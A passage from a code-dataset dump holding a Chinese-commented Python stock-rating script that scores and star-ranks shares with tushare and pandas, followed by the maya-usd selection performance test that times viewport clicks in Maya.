107, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 108, "usage_type": "call"}]} +{"seq_id": "9967526001", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport tushare as ts\nimport pandas as pd\n\n##########\n# 打分\n# 流程：设置参数，设置打分规则，剔除，评星，合并上一个双金叉股票，验证画图\n# 可修改参数：start_date、end_date：开始，结束时间点； random_stock：随意验证的股票代码\n# 结果：final_star：股票评星结果；final：与双金叉合并后评星结果\n##########\n# 设置参数\n# start_date、end_date：开始，结束时间点，（格式：年月日6位数字）\nstart_date = '20190101'\nend_date = '201901225'\nstar_file_name = 'git_project/git_project/stock/stock_star.csv'\n\n####\n# 设置打分规则：现金流 > 5，3分；资产负债率 < 60，减1分；资产负债率 < 30，加1分\n# 读取数据（已通过R整理后，显示资产收益率ROE，以及资产回报率ROA分数）\n# 规则： ROE > 15，每大1加1分，v.v.； ROA > 14，每大1加1分，v.v.\n\nstock_star = pd.read_csv(star_file_name)\nstock_star['score'] = stock_star.iloc[:,3] + stock_star.iloc[:,4]\nother_score = np.zeros(stock_star.shape[0])\nfor i in range(stock_star.shape[0]):\n if stock_star['cashflow'][i] > 5:\n other_score[i] += 3\n if stock_star['liabilities'][i] <30:\n other_score[i] += 1\n elif stock_star['liabilities'][i] >60:\n other_score[i] -= 1\n else:\n continue\n\nstock_star['score'] = stock_star['score'] + other_score\n\n##########\n# 剔除\n# 规则： 剔除资产负债率 > 70，现金流 < 0\ndrop1 = np.where(stock_star['liabilities'] >70)\nstock_star.drop(stock_star.index[drop1], inplace=True)\ndrop2 = np.where(stock_star['cashflow'] < 0)\nstock_star.drop(stock_star.index[drop2], inplace=True)\n##########\n# 评星\n# 规则： 前100名5星，200名4星，300名3星，200名2星，其余1星\nsorted_df = stock_star.sort_values(by='score', axis=0, ascending=False)\n\nstar = np.zeros(stock_star.shape[0])\n\nfor i in range(stock_star.shape[0]):\n if i < 100:\n star[i] = 5\n elif i < 200:\n star[i] = 4\n elif i < 300:\n star[i] = 3\n elif i < 400:\n star[i] = 2\n else:\n star[i] = 1\n\nsorted_df['star'] = star\nstar_rank = pd.DataFrame(sorted_df['code'])\nstar_rank['star'] = star\nstar_rank.to_csv('git_project/git_project/stock/star_rank.csv')\n\n\n\n# sorted_df.to_excel(\"final_star.xlsx\") # 最后结果可写进Excel文档，名字为\"final_star\"\n\n############\n# 双金叉与打分合并\nfinal_code = pd.read_csv('git_project/git_project/stock/final_code.csv')\nfinal_code = np.array(final_code)[:,-1].tolist()\n\n\ndictionary = pd.DataFrame(sorted_df['code'])\ndictionary['star'] = sorted_df['star']\ndictionary_code = np.array(dictionary['code']).tolist()\n\nfinal = dictionary.loc[dictionary['code'].isin(final_code)]\nfinal = pd.DataFrame(final)\nfinal.to_excel('final.xlsx') # 最后结果可写进Excel文档，名字为\"final\"\n\n\nyz_zf = []\nfor i in range(len(final['code'])):\n pro = ts.pro_api()\n df = pro.daily(ts_code=final['code'][i], start_date='201901226', end_date='20200110')\n zf = (df['close'].max() - df['close'][0])/df['close'][0]\n yz_zf.append(zf)\n\n##################\n# 验证前35名画图\n\nfinal = pd.read_excel(\"final.xlsx\")\nfive = final.loc[final['star'] == 5]\nfive_code = np.array(five['code'])\nma13 = []\nma13 = pd.DataFrame(ma13)\nma28 = []\nma28 = pd.DataFrame(ma28)\n\nfor i in range(len(five_code)):\n pro = ts.pro_api()\n yz = ts.pro_bar(ts_code=five_code[i], start_date=start_date, end_date=end_date, ma=[13, 28]).dropna()\n ma13_cur = np.zeros(111)\n ma28_cur = np.zeros(111)\n ma13_cur[-len(yz['ma13'].to_list()[::-1]):] = yz['ma13'].to_list()[::-1]\n ma28_cur[-len(yz['ma28'].to_list()[::-1]):] = yz['ma28'].to_list()[::-1]\n ma13[str(five_code[i])] = ma13_cur\n ma28[str(five_code[i])] = ma28_cur\n\nplt.figure(figsize=(50,35))\nfor i in range(23):\n plt.subplot(5, 5, (i + 1))\n plt.plot(ma13[str(five_code[i])], color=\"b\", label=\"MA13\")\n plt.plot(ma28[str(five_code[i])], color=\"r\", label=\"MA28\")\n plt.legend()\n plt.xlabel(\"Time\")\n plt.ylabel(\"MA\")\n plt.title(five_code[i])\n plt.grid(True)\n\nplt.tight_layout()\nplt.show()\n\n\n# len(five_code)\n# df = ts.pro_bar(ts_code='600519.SH', start_date='20180101', end_date='20181011', factors='vr')\n\n\n# pro = ts.pro_api()\n# data = pro.stock_basic(exchange='', list_status='L',\n# fields='ts_code,symbol,name,area,industry,market,list_date')\n", "repo_name": "tiffanyfeng520/Stock", "sub_path": "Draft/star.py", "file_name": "star.py", "file_ext": "py", "file_size_in_byte": 4415, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pandas.read_csv", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 50, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 65, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 76, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 81, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 84, "usage_type": "call"}, {"api_name": "tushare.pro_api", "line_number": 90, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 100, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 102, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 104, "usage_type": "call"}, {"api_name": "tushare.pro_api", "line_number": 107, "usage_type": "call"}, {"api_name": "tushare.pro_bar", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}]} +{"seq_id": "34330950338", "text": "from mayaUsd import lib as mayaUsdLib\n\nfrom pxr import Gf\nfrom pxr import Tf\nfrom pxr import Trace\n\nfrom maya import cmds\nfrom maya.api import OpenMayaUI as OMUI\n\nimport ufe\n\ntry:\n from PySide2 import QtCore\n from PySide2.QtTest import QTest\n from PySide2.QtWidgets import QApplication\n from PySide2.QtWidgets import QWidget\n from shiboken2 import wrapInstance\nexcept Exception:\n from PySide6 import QtCore\n from PySide6.QtTest import QTest\n from PySide6.QtWidgets import QApplication\n from PySide6.QtWidgets import QWidget\n from shiboken6 import wrapInstance\n\nimport contextlib\nimport json\nimport os\nimport sys\nimport unittest\n\nimport fixturesUtils\n\n\nclass testProxyShapeSelectionPerformance(unittest.TestCase):\n\n @staticmethod\n def _IsViewportRendererViewport20():\n m3dView = OMUI.M3dView.active3dView()\n if m3dView.getRendererName() == OMUI.M3dView.kViewport2Renderer:\n return True\n\n return False\n\n @staticmethod\n def _ClickInView(viewWidget, clickPosition,\n keyboardModifier=QtCore.Qt.NoModifier):\n clickPoint = QtCore.QPoint(clickPosition[0], clickPosition[1])\n QTest.mouseClick(viewWidget, QtCore.Qt.LeftButton, keyboardModifier,\n clickPoint)\n\n @staticmethod\n def _SelectAreaInView(viewWidget, selectAreaRange,\n keyboardModifier=QtCore.Qt.NoModifier):\n pressPoint = QtCore.QPoint(selectAreaRange.min[0], selectAreaRange.min[1])\n releasePoint = QtCore.QPoint(selectAreaRange.max[0], selectAreaRange.max[1])\n QTest.mousePress(viewWidget, QtCore.Qt.LeftButton, keyboardModifier,\n pressPoint)\n QTest.mouseRelease(viewWidget, QtCore.Qt.LeftButton, keyboardModifier,\n releasePoint)\n\n @classmethod\n def setUpClass(cls):\n # The test USD data is authored Z-up, so make sure Maya is configured\n # that way too.\n cmds.upAxis(axis='z')\n\n inputPath = fixturesUtils.setUpClass(__file__,\n initializeStandalone=False, loadPlugin=False)\n\n cls._inputDir = os.path.join(inputPath,\n 'ProxyShapeSelectionPerformanceTest')\n\n cls._testDir = os.path.abspath('.')\n\n cls._profileScopeMetrics = dict()\n\n cls._cameraName = 'SelectionCamera'\n\n # These are the dimensions we want for the viewport we're drawing into.\n cls._viewportWidth = 960\n cls._viewportHeight = 540\n\n # To get those viewport dimensions, we add padding to the window size\n # to account for the window frame and toolbar.\n cls._viewWindowWidth = cls._viewportWidth + 4\n cls._viewWindowHeight = cls._viewportHeight + 23\n\n # Store the previous USD selection kind (or None if there wasn't one)\n # so we can restore the state later.\n cls._selKindOptionVarName = mayaUsdLib.OptionVarTokens.SelectionKind\n cls._prevSelKind = cmds.optionVar(query=cls._selKindOptionVarName) or None\n\n # Set the USD selection kind to \"assembly\" so that we select entire\n # \"assets\" during the test.\n cmds.optionVar(stringValue=(cls._selKindOptionVarName, 'assembly'))\n\n @classmethod\n def tearDownClass(cls):\n statsOutputLines = []\n for profileScopeName in cls._profileScopeMetrics.keys():\n elapsedTime = cls._profileScopeMetrics[profileScopeName]\n statsDict = {\n 'profile': profileScopeName,\n 'metric': 'time',\n 'value': elapsedTime,\n 'samples': 1\n }\n statsOutputLines.append(json.dumps(statsDict))\n\n statsOutput = os.linesep.join(statsOutputLines)\n perfStatsFilePath = os.path.join(cls._testDir, 'perfStats.raw')\n with open(perfStatsFilePath, 'w') as perfStatsFile:\n perfStatsFile.write(statsOutput)\n\n # Restore the previous USD selection kind, or remove it if there wasn't\n # one.\n if cls._prevSelKind is None:\n cmds.optionVar(remove=cls._selKindOptionVarName)\n else:\n cmds.optionVar(stringValue=\n (cls._selKindOptionVarName, cls._prevSelKind))\n\n def setUp(self):\n cmds.file(new=True, force=True)\n\n # To control where the rendered images are written, we force Maya to\n # use the test directory as the workspace.\n cmds.workspace(self._testDir, o=True)\n\n def tearDown(self):\n self._viewWidget = None\n self._m3dView = None\n cmds.deleteUI(self._testWindow)\n\n def _GetViewportWidget(self, cameraName, rendererName):\n self._testWindow = cmds.window('SelectionTestWindow',\n widthHeight=(self._viewWindowWidth, self._viewWindowHeight))\n cmds.paneLayout()\n testModelPanel = cmds.modelPanel(menuBarVisible=False)\n testModelEditor = cmds.modelPanel(testModelPanel, q=True, modelEditor=True)\n cmds.modelEditor(testModelEditor, edit=True, camera=cameraName,\n displayAppearance='smoothShaded', rendererName=rendererName)\n cmds.showWindow(self._testWindow)\n\n self._m3dView = OMUI.M3dView.getM3dViewFromModelPanel(testModelPanel)\n viewWidget = wrapInstance(int(self._m3dView.widget()), QWidget)\n\n return viewWidget\n\n def _GetViewWidgetCenter(self, viewWidget):\n width = viewWidget.width()\n height = viewWidget.height()\n viewSize = Gf.Vec2f(width, height)\n Tf.Status(\"Maya Viewport Widget Dimensions: %s\" % viewSize)\n\n viewCenter = viewSize / 2.0\n\n return viewCenter\n\n def _WriteViewportImage(self, outputImageName, suffix):\n # Make sure the hardware renderer is available\n MAYA_RENDERER_NAME = 'mayaHardware2'\n mayaRenderers = cmds.renderer(query=True, namesOfAvailableRenderers=True)\n self.assertIn(MAYA_RENDERER_NAME, mayaRenderers)\n\n # Make it the current renderer.\n cmds.setAttr('defaultRenderGlobals.currentRenderer', MAYA_RENDERER_NAME,\n type='string')\n # Set the image format to PNG.\n cmds.setAttr('defaultRenderGlobals.imageFormat', 32)\n # Set the render mode to shaded and textured.\n cmds.setAttr('hardwareRenderingGlobals.renderMode', 4)\n # Enable the UI object filter so that the rendered image includes\n # selection highlighting when using the Viewport 2.0 render delegate.\n filterNames = cmds.getAttr(\n 'hardwareRenderingGlobals.objectTypeFilterNameArray')\n filterIndex = filterNames.index('UI')\n filterValues = cmds.getAttr(\n 'hardwareRenderingGlobals.objectTypeFilterValueArray')\n filterValues[filterIndex] = 1\n cmds.setAttr('hardwareRenderingGlobals.objectTypeFilterValueArray',\n filterValues, type='Int32Array')\n # Specify the output image prefix. The path to it is built from the\n # workspace directory.\n cmds.setAttr('defaultRenderGlobals.imageFilePrefix',\n '%s_%s' % (outputImageName, suffix),\n type='string')\n # Apply the viewer's color transform to the rendered image, otherwise\n # it comes out too dark.\n cmds.setAttr(\"defaultColorMgtGlobals.outputTransformEnabled\", 1)\n\n # Do the render.\n cmds.ogsRender(camera=self._cameraName, currentFrame=True,\n width=self._viewportWidth, height=self._viewportHeight)\n\n @contextlib.contextmanager\n def _ProfileScope(self, profileScopeName):\n \"\"\"\n A context manager that measures the execution time between enter and\n exit and stores the elapsed time in the class' metrics dictionary.\n \"\"\"\n stopwatch = Tf.Stopwatch()\n collector = Trace.Collector()\n\n try:\n stopwatch.Start()\n collector.enabled = True\n collector.BeginEvent(profileScopeName)\n yield\n finally:\n collector.EndEvent(profileScopeName)\n collector.enabled = False\n stopwatch.Stop()\n elapsedTime = stopwatch.seconds\n self._profileScopeMetrics[profileScopeName] = elapsedTime\n Tf.Status('%s: %f' % (profileScopeName, elapsedTime))\n\n traceFilePath = os.path.join(self._testDir,\n '%s.trace' % profileScopeName)\n Trace.Reporter.globalReporter.Report(traceFilePath)\n collector.Clear()\n Trace.Reporter.globalReporter.ClearTree()\n\n def _TestSelectCenterSingle(self):\n \"\"\"\n Tests a single-click selection in the center of the view.\n \"\"\"\n clickPosition = self._GetViewWidgetCenter(self._viewWidget)\n\n profileScopeName = '%s Proxy Select Center Time' % self._testName\n\n with self._ProfileScope(profileScopeName):\n self._ClickInView(self._viewWidget, clickPosition)\n\n self._WriteViewportImage(self._testName, 'select_center')\n\n def _TestSelectCenterArea(self):\n \"\"\"\n Tests an area selection in the center of the view.\n \"\"\"\n viewCenter = self._GetViewWidgetCenter(self._viewWidget)\n\n centerRange = Gf.Range2f(viewCenter, viewCenter)\n unitArea = Gf.Range2f(Gf.Vec2f(-0.5, -0.5), Gf.Vec2f(0.5, 0.5))\n\n profileScopeName = '%s Proxy Select Center Area Time' % self._testName\n\n selectAreaRange = centerRange + unitArea * 10.0\n\n with self._ProfileScope(profileScopeName):\n self._SelectAreaInView(self._viewWidget, selectAreaRange)\n\n self._WriteViewportImage(self._testName, 'select_center_area')\n\n def _TestUnselect(self):\n \"\"\"\n Tests \"un-selecting\" by doing a single-click selection in an empty area\n of the view.\n \"\"\"\n profileScopeName = '%s Proxy Unselect Time' % self._testName\n\n clickPosition = Gf.Vec2f(10.0, 10.0)\n\n with self._ProfileScope(profileScopeName):\n self._ClickInView(self._viewWidget, clickPosition)\n\n self._WriteViewportImage(self._testName, 'unselect')\n\n def _TestSelectionAppend(self):\n \"\"\"\n Tests selecting multiple objects in the view by appending to the\n selection an object at a time. This simulates selecting the objects in\n the corners, beginning with the top left and proceeding clockwise,\n while holding down the shift key.\n \"\"\"\n viewCenter = self._GetViewWidgetCenter(self._viewWidget)\n\n horizontalOffset = self._viewWidget.width() * 0.198\n verticalOffset = self._viewWidget.height() * 0.352\n\n # TOP LEFT\n clickPosition = viewCenter + Gf.Vec2f(-horizontalOffset, -verticalOffset)\n\n profileScopeName = '%s Proxy Selection Append 1 Time' % self._testName\n\n with self._ProfileScope(profileScopeName):\n self._ClickInView(self._viewWidget, clickPosition,\n keyboardModifier=QtCore.Qt.ShiftModifier)\n\n self._WriteViewportImage(self._testName, 'selection_append_1')\n\n # TOP RIGHT\n clickPosition = viewCenter + Gf.Vec2f(horizontalOffset, -verticalOffset)\n\n profileScopeName = '%s Proxy Selection Append 2 Time' % self._testName\n\n with self._ProfileScope(profileScopeName):\n self._ClickInView(self._viewWidget, clickPosition,\n keyboardModifier=QtCore.Qt.ShiftModifier)\n\n self._WriteViewportImage(self._testName, 'selection_append_2')\n\n # BOTTOM RIGHT\n clickPosition = viewCenter + Gf.Vec2f(horizontalOffset, verticalOffset)\n\n profileScopeName = '%s Proxy Selection Append 3 Time' % self._testName\n\n with self._ProfileScope(profileScopeName):\n self._ClickInView(self._viewWidget, clickPosition,\n keyboardModifier=QtCore.Qt.ShiftModifier)\n\n self._WriteViewportImage(self._testName, 'selection_append_3')\n\n # BOTTOM LEFT\n clickPosition = viewCenter + Gf.Vec2f(-horizontalOffset, verticalOffset)\n\n profileScopeName = '%s Proxy Selection Append 4 Time' % self._testName\n\n with self._ProfileScope(profileScopeName):\n self._ClickInView(self._viewWidget, clickPosition,\n keyboardModifier=QtCore.Qt.ShiftModifier)\n\n self._WriteViewportImage(self._testName, 'selection_append_4')\n\n def _ValidateSelection(self, expectedSelectionSet):\n if not Tf.GetEnvSetting('MAYAUSD_DISABLE_VP2_RENDER_DELEGATE'):\n # When the Viewport 2.0 render delegate is being used, we will have\n # selected USD prims rather than proxy shape nodes or their\n # transform nodes, so we query UFE for the selection and manipulate\n # the paths of the selected scene items to yield the Maya-side\n # selection.\n ufeSelection = ufe.GlobalSelection.get()\n self.assertEqual(len(ufeSelection), len(expectedSelectionSet))\n\n # Pop the USD root prim name, and then the proxy shape name off of\n # the UFE path to leave the name of the proxy shape's transform\n # node at the end of the path.\n ufePaths = [ufeItem.path().pop().pop() for ufeItem in ufeSelection]\n actualSelectionSet = {str(ufePath.back()) for ufePath in ufePaths}\n else:\n actualSelectionSet = set(cmds.ls(selection=True) or [])\n\n self.assertEqual(actualSelectionSet, expectedSelectionSet)\n\n def _RunPerfTest(self):\n mayaSceneFile = 'Grid_5_of_CubeGrid%s_10.ma' % self._testName\n mayaSceneFullPath = os.path.join(self._inputDir, mayaSceneFile)\n cmds.file(mayaSceneFullPath, open=True, force=True)\n\n Tf.Status(\"Maya Scene File: %s\" % mayaSceneFile)\n\n # Get the QWidget for the viewport window.\n self.assertTrue(self._IsViewportRendererViewport20())\n self._viewWidget = self._GetViewportWidget(self._cameraName,\n 'vp2Renderer')\n self.assertTrue(self._viewWidget)\n\n # Force the initial view to draw so that the viewport size stabilizes.\n animStartTime = cmds.playbackOptions(query=True,\n animationStartTime=True)\n cmds.currentTime(animStartTime, edit=True)\n QApplication.processEvents()\n\n # Render an image and validate that nothing is selected to start.\n self._WriteViewportImage(self._testName, 'before_selection')\n expectedSelectionSet = set()\n self._ValidateSelection(expectedSelectionSet)\n\n\n self._TestSelectCenterSingle()\n expectedSelectionSet = set(['AssetRef_2_0_2'])\n self._ValidateSelection(expectedSelectionSet)\n\n\n self._TestSelectCenterArea()\n expectedSelectionSet = set([\n 'AssetRef_2_0_2',\n 'AssetRef_2_1_2',\n 'AssetRef_2_2_2',\n 'AssetRef_2_3_2',\n 'AssetRef_2_4_2'])\n self._ValidateSelection(expectedSelectionSet)\n\n\n self._TestUnselect()\n expectedSelectionSet = set()\n self._ValidateSelection(expectedSelectionSet)\n\n\n self._TestSelectionAppend()\n expectedSelectionSet = set([\n 'AssetRef_0_0_4',\n 'AssetRef_4_0_4',\n 'AssetRef_4_0_0',\n 'AssetRef_0_0_0'])\n self._ValidateSelection(expectedSelectionSet)\n\n def testPerfGridOfCubeGridsCombinedMesh(self):\n \"\"\"\n Tests selection correctness and performance with a grid of proxy shape\n nodes.\n\n The geometry in this scene is a grid of grids. The top-level grid is\n made up of USD proxy shape nodes. Each of those proxy shape nodes\n references a USD file that contains a single Mesh prim that is a grid\n of cubes. This single cube grid mesh is the result of combining the\n grid of cube asset meshes referenced from the \"ModelRefs\" test below.\n\n The camera in the scene is positioned in a side view.\n \"\"\"\n self._testName = 'CombinedMesh'\n self._RunPerfTest()\n\n def testPerfGridOfCubeGridsModelRefs(self):\n \"\"\"\n Tests selection correctness and performance with a grid of proxy shape\n nodes.\n\n The geometry in this scene is a grid of grids. The top-level grid is\n made up of USD proxy shape nodes. Each of those proxy shape nodes\n references a USD file with many references to a \"CubeModel\" asset USD\n file. This results in equivalent geometry but a higher prim/mesh count\n than the \"CombinedMesh\" test above.\n\n The camera in the scene is positioned in a side view.\n \"\"\"\n self._testName = 'ModelRefs'\n self._RunPerfTest()\n\n\nif __name__ == '__main__':\n fixturesUtils.runTests(globals())\n", "repo_name": "Autodesk/maya-usd", "sub_path": "test/lib/mayaUsd/render/pxrUsdMayaGL/testProxyShapeSelectionPerformance.py", "file_name": "testProxyShapeSelectionPerformance.py", "file_ext": "py", "file_size_in_byte": 16514, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 690, "dataset": "github-code", "pt": "16", "api": [{"api_name": "unittest.TestCase", "line_number": 34, "usage_type": "attribute"}, {"api_name": "maya.api.OpenMayaUI.M3dView.active3dView", "line_number": 38, "usage_type": "call"}, {"api_name": "maya.api.OpenMayaUI.M3dView", "line_number": 38, "usage_type": "attribute"}, {"api_name": "maya.api.OpenMayaUI", "line_number": 38, "usage_type": "name"}, {"api_name": "maya.api.OpenMayaUI.M3dView", "line_number": 39, "usage_type": "attribute"}, {"api_name": "maya.api.OpenMayaUI", "line_number": 39, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 46, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 46, "usage_type": "name"}, {"api_name": "PySide6.QtCore.QPoint", "line_number": 47, "usage_type": "call"}, {"api_name": "PySide6.QtCore", "line_number": 47, "usage_type": "name"}, {"api_name": "PySide6.QtTest.QTest.mouseClick", "line_number": 48, "usage_type": "call"}, {"api_name": "PySide6.QtTest.QTest", "line_number": 48, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 48, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 48, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 53, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 53, "usage_type": "name"}, {"api_name": "PySide6.QtCore.QPoint", "line_number": 54, "usage_type": "call"}, {"api_name": "PySide6.QtCore", "line_number": 54, "usage_type": "name"}, {"api_name": "PySide6.QtCore.QPoint", "line_number": 55, "usage_type": "call"}, {"api_name": "PySide6.QtCore", "line_number": 55, "usage_type": "name"}, {"api_name": "PySide6.QtTest.QTest.mousePress", "line_number": 56, "usage_type": "call"}, {"api_name": "PySide6.QtTest.QTest", "line_number": 56, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 56, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 56, "usage_type": "name"}, {"api_name": "PySide6.QtTest.QTest.mouseRelease", "line_number": 58, "usage_type": "call"}, {"api_name": "PySide6.QtTest.QTest", "line_number": 58, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 58, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 58, "usage_type": "name"}, {"api_name": "maya.cmds.upAxis", "line_number": 65, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 65, "usage_type": "name"}, {"api_name": "fixturesUtils.setUpClass", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "mayaUsd.lib.OptionVarTokens", "line_number": 90, "usage_type": "attribute"}, {"api_name": "mayaUsd.lib", "line_number": 90, "usage_type": "name"}, {"api_name": "maya.cmds.optionVar", "line_number": 91, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 91, "usage_type": "name"}, {"api_name": "maya.cmds.optionVar", "line_number": 95, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 95, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 108, "usage_type": "call"}, {"api_name": "os.linesep.join", "line_number": 110, "usage_type": "call"}, {"api_name": "os.linesep", "line_number": 110, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path", "line_number": 111, "usage_type": "attribute"}, {"api_name": "maya.cmds.optionVar", "line_number": 118, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 118, "usage_type": "name"}, {"api_name": "maya.cmds.optionVar", "line_number": 120, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 120, "usage_type": "name"}, {"api_name": "maya.cmds.file", "line_number": 124, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 124, "usage_type": "name"}, {"api_name": "maya.cmds.workspace", "line_number": 128, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 128, "usage_type": "name"}, {"api_name": "maya.cmds.deleteUI", "line_number": 133, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 133, "usage_type": "name"}, {"api_name": "maya.cmds.window", "line_number": 136, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 136, "usage_type": "name"}, {"api_name": "maya.cmds.paneLayout", "line_number": 138, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 138, "usage_type": "name"}, {"api_name": "maya.cmds.modelPanel", "line_number": 139, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 139, "usage_type": "name"}, {"api_name": "maya.cmds.modelPanel", "line_number": 140, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 140, "usage_type": "name"}, {"api_name": "maya.cmds.modelEditor", "line_number": 141, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 141, "usage_type": "name"}, {"api_name": "maya.cmds.showWindow", "line_number": 143, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 143, "usage_type": "name"}, {"api_name": "maya.api.OpenMayaUI.M3dView.getM3dViewFromModelPanel", "line_number": 145, "usage_type": "call"}, {"api_name": "maya.api.OpenMayaUI.M3dView", "line_number": 145, "usage_type": "attribute"}, {"api_name": "maya.api.OpenMayaUI", "line_number": 145, "usage_type": "name"}, {"api_name": "shiboken6.wrapInstance", "line_number": 146, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QWidget", "line_number": 146, "usage_type": "argument"}, {"api_name": "pxr.Gf.Vec2f", "line_number": 153, "usage_type": "call"}, {"api_name": "pxr.Gf", "line_number": 153, "usage_type": "name"}, {"api_name": "pxr.Tf.Status", "line_number": 154, "usage_type": "call"}, {"api_name": "pxr.Tf", "line_number": 154, "usage_type": "name"}, {"api_name": "maya.cmds.renderer", "line_number": 163, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 163, "usage_type": "name"}, {"api_name": "maya.cmds.setAttr", "line_number": 167, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 167, "usage_type": "name"}, {"api_name": "maya.cmds.setAttr", "line_number": 170, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 170, "usage_type": "name"}, {"api_name": "maya.cmds.setAttr", "line_number": 172, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 172, "usage_type": "name"}, {"api_name": "maya.cmds.getAttr", "line_number": 175, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 175, "usage_type": "name"}, {"api_name": "maya.cmds.getAttr", "line_number": 178, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 178, "usage_type": "name"}, {"api_name": "maya.cmds.setAttr", "line_number": 181, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 181, "usage_type": "name"}, {"api_name": "maya.cmds.setAttr", "line_number": 185, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 185, "usage_type": "name"}, {"api_name": "maya.cmds.setAttr", "line_number": 190, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 190, "usage_type": "name"}, {"api_name": "maya.cmds.ogsRender", "line_number": 193, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 193, "usage_type": "name"}, {"api_name": "pxr.Tf.Stopwatch", "line_number": 202, "usage_type": "call"}, {"api_name": "pxr.Tf", "line_number": 202, "usage_type": "name"}, {"api_name": "pxr.Trace.Collector", "line_number": 203, "usage_type": "call"}, {"api_name": "pxr.Trace", "line_number": 203, "usage_type": "name"}, {"api_name": "pxr.Tf.Status", "line_number": 216, "usage_type": "call"}, {"api_name": "pxr.Tf", "line_number": 216, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 218, "usage_type": "call"}, {"api_name": "os.path", "line_number": 218, "usage_type": "attribute"}, 